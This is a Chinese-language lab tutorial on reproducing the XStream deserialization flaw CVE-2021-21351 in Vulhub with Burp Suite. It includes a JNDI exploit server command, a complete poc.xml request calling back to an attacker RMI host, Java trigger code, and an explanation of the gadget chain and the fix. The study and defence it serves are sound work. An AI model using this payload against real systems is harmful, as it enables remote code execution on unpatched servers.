1、搭建docker环境
**Step1、**彻底清理旧的 Docker 源配置和缓存。
bash
# 1. 删除所有 Docker 相关的源配置文件
sudo rm -rf /etc/apt/sources.list.d/docker.list /etc/apt/keyrings/docker.asc
# 2. 清理 APT 缓存(关键!删除损坏的包索引)
sudo apt clean
sudo rm -rf /var/lib/apt/lists/*
# 3. 重新更新系统源(确保基础源正常)
sudo apt update -y
**Step2、**重新添加 Docker 官方源(不使用任何国内镜像)。
bash
# 1. 创建密钥存储目录
sudo install -m 0755 -d /etc/apt/keyrings
# 2. 下载并导入 Docker 官方 GPG 密钥(用 wget 避开 Snap curl 问题)
wget -qO- https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker.gpg
sudo chmod a+r /etc/apt/trusted.gpg.d/docker.gpg
# 3. 添加 Docker 官方源(Ubuntu 24.04 代号 noble,已固定)
echo "deb [arch=amd64 signed-by=/etc/apt/trusted.gpg.d/docker.gpg] https://download.docker.com/linux/ubuntu noble stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
# 4. 刷新官方源索引
sudo apt update -y
**Step3、**手动安装。
bash
# 1. 手动下载官方的 containerd.io 包(对应 Ubuntu 24.04 版本,文件大小 22MB 左右)
wget https://download.docker.com/linux/ubuntu/dists/noble/pool/stable/amd64/containerd.io_2.1.5-1~ubuntu.24.04~noble_amd64.deb
# 2. 手动安装该包(避免 APT 自动下载损坏的镜像)
sudo dpkg -i containerd.io_2.1.5-1~ubuntu.24.04~noble_amd64.deb
# 3. 安装剩余的 Docker 组件(此时 APT 只需下载其他包,不会再处理 containerd.io)
sudo apt install -y docker-ce docker-ce-cli docker-buildx-plugin docker-compose-plugin
**Step4、**验证docker安装成功。
bash
# 1. 启动 Docker 并设置开机自启
sudo systemctl enable --now docker
# 2. 检查 Docker 服务状态(显示 active (running) 即为成功)
sudo systemctl status docker
# 3. 运行测试镜像(输出 Hello from Docker! 则功能正常)
sudo docker run hello-world
**Step5、**配置镜像加速地址。
bash
vim /etc/docker/daemon.json
#输入镜像地址
{
"registry-mirrors":[
"https://docker.xuanyuan.me",
"https://docker.m.daocloud.io",
"https://docker.imgdb.de",
"https://docker-0.unsee.tech",
"https://docker.hlmirror.com",
"https://docker.1ms.run"
]
}
sudo systemctl daemon-reload
sudo systemctl restart docker
**Step6、**验证docker安装成功,且镜像加速生效。
bash
docker --version
sudo docker run hello-world

2、安装vulhub工具
bash
git clone https://github.com/vulhub/vulhub.git
cd vulhub
ls

这些是vulhub漏洞靶场收集的漏洞信息,可以通过docker镜像的方式,启动漏洞靶场环境,在docker中复现漏洞。
这里举一个nacos的例子:
bash
cd nacos
cd CVE-2021-29441
# 基于当前目录的 docker-compose.yml配置文件在后台批量创建并启动所有关联的 Docker 容器、网络、数据卷等资源,适用于快速部署多容器应用(如 Vulhub 靶场、微服务集群、Web + 数据库组合等)。
sudo docker compose up -d
sudo docker compose restart
sudo docker compose ps

靶场环境启动成功,nacos端口是8848。访问:http://127.0.0.1:8848/nacos/#/login

3、安装Burp Suite
Step1、 下载Burp Suite:https://portswigger.net/burp/releases

**Step2、**通过.sh安装脚本安装
bash
sudo chmod +x burpsuite_community_linux_v2025_11.sh
./burpsuite_community_linux_v2025_11.sh
等待几分钟后,安装完成。

4、使用Burp Suite抓包复现CVE-2021-21351的漏洞
**Step1、**进入CVE-2021-21351目录,执行命令sudo docker compose up -d启动漏洞镜像环境。

浏览器访问:http://192.168.10.101:8080/

表示漏洞镜像启动成功。
**Step2、**下载JNDI注入工具
JNDI下载:https://github.com/welk1n/JNDI-Injection-Exploit/releases

在攻击机192.168.10.101上启动JNDI,搭建一个JNDI服务,推送恶意命令"touch /home/www/tools/wlc123.txt",当靶机的漏洞连接到该服务时,会自动在靶机的/home/www/tools/目录下创建wlc123.txt文件,用于验证漏洞是否被利用。
bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wlc123.txt" -A 192.168.10.101

**Step3、**构造一个poc.xml脚本,用于执行攻击。

首先,打开这个readme文件。复制这个脚本。

将脚本中的<dataSource>标签内的内容替换成上面JNDI程序生成的:rmi://192.168.10.101:1099/g4ucrb

得到完整的脚本如下:
XML
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3181
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://192.168.10.101:1099/iczmdr</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
Step4、使用Burp Site进行攻击。
首先设置一下浏览器代理,设置代理是为了进行Burp Site抓包。

在Burp Site中也设置一下代理地址。

此时,重新刷新一下:http://192.168.10.101:8080/
可以在Burp Site中看到抓到的包。

右击点击Send to Repeat,进入Repeater页面,左边的Request是前面的poc.xml,点击send按钮。

bash
# 查看靶机cve-2021-21351-web-1这个容器下的tmp文件夹所有文件
sudo docker exec -it cve-2021-21351-web-1 ls /tmp

可以看到攻击机通过cve-2021-21351漏洞使用rmi在靶机上创建的wlc123.txt文件。
注意:有时候一直处于send中,一直没有response,可能是1099端口被攻击机拦截,关闭攻击机防火墙就行了,sudo ufw disable
5、本地通过代码复现CVE-2021-21351漏洞
先进行JNDI注入
bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wlc123.txt" -A 192.168.10.101

再运行java代码。
xstream1.4.15的jar包:https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.15/
xpp3的jar包:https://mvnrepository.com/artifact/xpp3/xpp3/1.1.4c


java
package com.wlc;
import com.thoughtworks.xstream.XStream;
public class XStreamDangerDeserialize {
public static void main(String[] args) {
XStream xstream = new XStream();
String xml = "<sorted-set>\n" +
" <javax.naming.ldap.Rdn_-RdnEntry>\n" +
" <type>ysomap</type>\n" +
" <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>\n" +
" <m__DTMXRTreeFrag>\n" +
" <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>\n" +
" <m__size>-10086</m__size>\n" +
" <m__mgrDefault>\n" +
//如果目标Java版本较低,POC需要做修改,将其中的`<__overrideDefaultParser>false</__overrideDefaultParser>`改成`<__useServicesMechanism>false</__useServicesMechanism>`即可。
//我本地用的是jdk1.8.0_20,属于比较低的版本了
// " <__overrideDefaultParser>false</__overrideDefaultParser>\n" +
"<__useServicesMechanism>false</__useServicesMechanism>\n" +
" <m__incremental>false</m__incremental>\n" +
" <m__source__location>false</m__source__location>\n" +
" <m__dtms>\n" +
" <null/>\n" +
" </m__dtms>\n" +
" <m__defaultHandler/>\n" +
" </m__mgrDefault>\n" +
" <m__shouldStripWS>false</m__shouldStripWS>\n" +
" <m__indexing>false</m__indexing>\n" +
" <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>\n" +
" <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +
" <javax.sql.rowset.BaseRowSet>\n" +
" <default>\n" +
" <concurrency>1008</concurrency>\n" +
" <escapeProcessing>true</escapeProcessing>\n" +
" <fetchDir>1000</fetchDir>\n" +
" <fetchSize>0</fetchSize>\n" +
" <isolation>2</isolation>\n" +
" <maxFieldSize>0</maxFieldSize>\n" +
" <maxRows>0</maxRows>\n" +
" <queryTimeout>0</queryTimeout>\n" +
" <readOnly>true</readOnly>\n" +
" <rowSetType>1004</rowSetType>\n" +
" <showDeleted>false</showDeleted>\n" +
" <dataSource>rmi://192.168.10.101:1099/gvewv7</dataSource>\n" +
" <listeners/>\n" +
" <params/>\n" +
" </default>\n" +
" </javax.sql.rowset.BaseRowSet>\n" +
" <com.sun.rowset.JdbcRowSetImpl>\n" +
" <default/>\n" +
" </com.sun.rowset.JdbcRowSetImpl>\n" +
" </fPullParserConfig>\n" +
" <fConfigSetInput>\n" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
" <name>setAutoCommit</name>\n" +
" <parameter-types>\n" +
" <class>boolean</class>\n" +
" </parameter-types>\n" +
" </fConfigSetInput>\n" +
" <fConfigParse reference='../fConfigSetInput'/>\n" +
" <fParseInProgress>false</fParseInProgress>\n" +
" </m__incrementalSAXSource>\n" +
" <m__walker>\n" +
" <nextIsRaw>false</nextIsRaw>\n" +
" </m__walker>\n" +
" <m__endDocumentOccured>false</m__endDocumentOccured>\n" +
" <m__idAttributes/>\n" +
" <m__textPendingStart>-1</m__textPendingStart>\n" +
" <m__useSourceLocationProperty>false</m__useSourceLocationProperty>\n" +
" <m__pastFirstElement>false</m__pastFirstElement>\n" +
" </m__dtm>\n" +
" <m__dtmIdentity>1</m__dtmIdentity>\n" +
" </m__DTMXRTreeFrag>\n" +
" <m__dtmRoot>1</m__dtmRoot>\n" +
" <m__allowRelease>false</m__allowRelease>\n" +
" </value>\n" +
" </javax.naming.ldap.Rdn_-RdnEntry>\n" +
" <javax.naming.ldap.Rdn_-RdnEntry>\n" +
" <type>ysomap</type>\n" +
" <value class='com.sun.org.apache.xpath.internal.objects.XString'>\n" +
" <m__obj class='string'>test</m__obj>\n" +
" </value>\n" +
" </javax.naming.ldap.Rdn_-RdnEntry>\n" +
"</sorted-set>";
try {
Object obj = xstream.fromXML(xml);
System.out.println("反序列化完成: " + obj.getClass());
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行时会有报错:

在/tmp目录下成功创建了wlc123.txt文件了。

6、CVE-2021-21351漏洞产生原理
xstream是一个java序列化/反序列化工具,其核心功能是将Java对象与xml字符串互相转换。
Step1、 xstream.fromXML()

Step2、

<sorted-set>会被解析成TreeSet,会创建一个TreeSet对象,<sorted-set>的子节点是<javax.naming.ldap.Rdn_-RdnEntry>,会继续创建Rdn的内部类RdnEntry的对象。把RdnEntry对象加到TreeSet中,因为TreeSet中的元素是有序的,因此TreeSet每add一个元素,就会先调用该元素中的compareTo方法进行排序。

这里的Rdn.compareTo()方法,内部会解析value,引发JNDI lookup危险点。

在TreeSet里面add了一个Rdn类中的内部类RdnEntry的对象。而RdnEntry的value是XRTreeFrag。因为TreeSet中的元素是有序的,因此TreeSet每add一个元素,就会调用该元素中的compareTo方法进行排序。

因为TreeSet底层依赖TreeMap实现有序性,而TreeMap的排序逻辑会触发TreeMap.compare方法。当 RdnEntry的compareTo方法执行return 0;后,TreeSet为了维护元素的有序性,会调用底层TreeMap的compare方法来确认元素的排序关系。
compare之后,根据比较结果,将元素put到合适的位置。


以上put的是RdnEntry类中的XRTreeFrag,而XRTreeFrag中又包含了SAX2DTM节点,因此还需对XRTreeFrag中的SAX2DTM进行排序


String str = m_DTMXRTreeFrag.getDTM().getStringValue(m_dtmRoot).toString();这行代码的作用是将XRTreeFrag 所代表的 XML 节点的“文本内容”提取出来,转换成普通 Java 字符串。
代码继续往下走




JdbcRowSetImpl.setAutoCommit()这个方法的作用是设置 RowSet 对象内部使用的数据库连接是否开启自动提交。


JdbcRowSetImpl.setAutoCommit()这个方法里会调用到InitialContext.lookup()方法,lookup()方法会访问远程rmi服务器,向攻击者ip建立连接,接收攻击者提供的对象引用,并自动反序列化。

InitialContext.getURLOrDefaultInitCtx() 的作用是识别 JNDI 名称是否为 URL(比如 rmi://),返回对应的 URLContext。当 scheme 为 rmi 时,最终会调用 Context.lookup(),连接远程 RMI 服务。



在Context.lookup(rmi地址)调用结束后,会触发一个SQLException的报错,之所以会报错,是因为InitialContext.lookup(rmi地址)返回值不是DataSource类型。而是返回Reference类型,类型不匹配因此catch了错误异常。

因为成功lookup执行里rmi命令,因此可以看到有生成wlc123456.txt文件。

7、JNDI简介
JNDI全称"Java命名与目录接口",是一个可以通过Context.lookup()方法去查找远程服务器上java目录的工具。
bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wlc123456.txt" -A 192.168.10.102
这行代码的作用是启动一个 JNDI 恶意服务端生成一个Exploit而已java类,这个java类中会执行touch /tmp/wlc123456.txt创建一个txt文件。
Context.lookup("rmi://192.168.10.102:1099/t3ii0h")会获取一个包含"远程类位置(codebase)信息"的恶意对象。JVM 根据这个对象里的信息再去下载并加载 Exploit.class,然后在类加载阶段执行恶意静态代码块,从而 进行远程代码执行RCE。
8、总结
因此可以总结一下。有一个xml需转换成java对象,因为这个xml中包含了<sorted-set>这样的节点,因此xstream会尝试将其转换为TreeSet,因为TreeSet是有序集合,在往TreeSet里面add元素的时候,会调用元素的compareTo方法进行一个排序。而因为RdnEntry类被作为里TreeSet中的元素,会调用RdnEntry.compareTo()方法对RdnEntry进行排序,而xml中<RdnEntry>节点中又包含了<XRTreeFrag>节点,而<XRTreeFrag>节点里又包含了<m__DTMXRTreeFrag>节点,
在RdnEntry.compareTo()方法对RdnEntry完成排序后,会接着调用XRTreeFrag类的str()方法把XRTreeFrag对象转为字符串,而<m__DTMXRTreeFrag>节点里又包含里<SAX2DTM>节点,因此会调用SAX2DTM.getStringValue()方法把<m__DTMXRTreeFrag>节点中的内容转为java字符串。因为poc.xml中包含了<JdbcRowSetImpl><setAutoCommit>节点,xstream在解析的时候,会调用JdbcRowSetImpl.setAutoCommit()方法。通过setAutoCommit()方法调用到InitialContext.lookup(),lookup()方法会访问远程rmi服务器,向攻击者ip建立连接,接收攻击者提供的对象引用,并自动反序列化。因此就达到了漏洞利用的目的。
可以看出整个CVE-2021-21351漏洞利用的过程中并没有涉及到readObject()方法,整个漏洞利用链不依赖Java原生反序列化,整个漏洞的利用链是:TreeSet 自动排序 → Rdn.compareTo() → value.toString() → JNDI lookup。虽然CVE-2021-21351并不涉及readObject()、Serializable、ObjectInputStream,但是因为攻击点是 XStream.fromXML()的对象反序列化,也可以将其归属于反序列化漏洞。
识别反序列化漏洞的关键点在于程序是否会调用InitialContext.lookup(),如果会调用到InitialContext.lookup()方法,则表明可能会存在反序列化漏洞。XStream 1.4.16 及之后版本修复了该漏洞。在1.4.16版本之后,xstream禁用了javax.naming.ldap.Rdn$RdnEntry、com.sun.rowset.JdbcRowSetImpl、com.sun.org.apache.xpath.internal.objects.XRTreeFrag这些类,使得xstream在把xml转换为java对象时,不会通过TreeSet自动排序调用到Rdn.compareTo()从而引起后面的一系列链式调用,最终执行Context.lookup()。
9、参考资料
https://blog.csdn.net/weixin_43223153/article/details/123837976